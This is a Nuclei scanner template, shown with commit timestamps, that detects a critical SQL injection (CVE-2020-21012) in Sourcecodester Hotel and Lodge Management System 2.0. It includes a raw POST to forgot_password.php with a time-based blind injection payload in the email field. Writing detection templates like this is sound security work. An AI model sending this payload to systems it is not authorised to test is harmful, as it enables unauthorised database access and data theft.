nuclei-templates/http/cves/2020/CVE-2020-21012.yaml

49 lines
2.3 KiB
YAML
Raw Normal View History

2022-09-30 14:26:08 +00:00
id: CVE-2020-21012
info:
name: Sourcecodester Hotel and Lodge Management System 2.0 - SQL Injection
author: edoardottt
severity: critical
description: |
Sourcecodester Hotel and Lodge Management System 2.0 contains a SQL injection vulnerability via the email parameter to the edit page for Customer, Room, Currency, Room Booking Details, or Tax Details. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 12:22:36 +00:00
remediation: |
Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Sourcecodester Hotel and Lodge Management System 2.0.
2022-09-30 14:26:08 +00:00
reference:
- https://github.com/hitIer/web_test/tree/master/hotel
2022-11-15 11:15:00 +00:00
- https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
2022-09-30 14:26:08 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-21012
- https://github.com/ARPSyndicate/kenzer-templates
2022-09-30 14:26:08 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-09-30 14:26:08 +00:00
cve-id: CVE-2020-21012
cwe-id: CWE-89
epss-score: 0.07235
epss-percentile: 0.93887
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:hotel_and_lodge_booking_management_system_project:hotel_and_lodge_booking_management_system:2.0:*:*:*:*:*:*:*
2022-11-15 11:15:00 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:22:36 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: hotel_and_lodge_booking_management_system_project
product: hotel_and_lodge_booking_management_system
2023-12-05 09:50:33 +00:00
tags: cve,cve2020,hotel,sqli,unauth,hotel_and_lodge_booking_management_system_project
2022-09-30 14:26:08 +00:00
http:
2022-09-30 14:26:08 +00:00
- raw:
- |
POST /forgot_password.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-11-15 11:15:00 +00:00
btn_forgot=1&email=1%27%20or%20sleep(6)%23
2022-09-30 14:26:08 +00:00
matchers:
- type: dsl
dsl:
2022-11-15 11:15:00 +00:00
- 'duration>=6'
- 'status_code == 200'
- 'contains(body, "Hotel Booking System")'
condition: and
# digest: 490a00463044022009a3d7337793824617ee5141124e28ccfd273172a5978048c0895b9ae56f2a090220670a397df858b020ac847786eff2d72020b301dbfe0a281ca77997f8155a0499:922c64590222798bb761d5b6d8e72950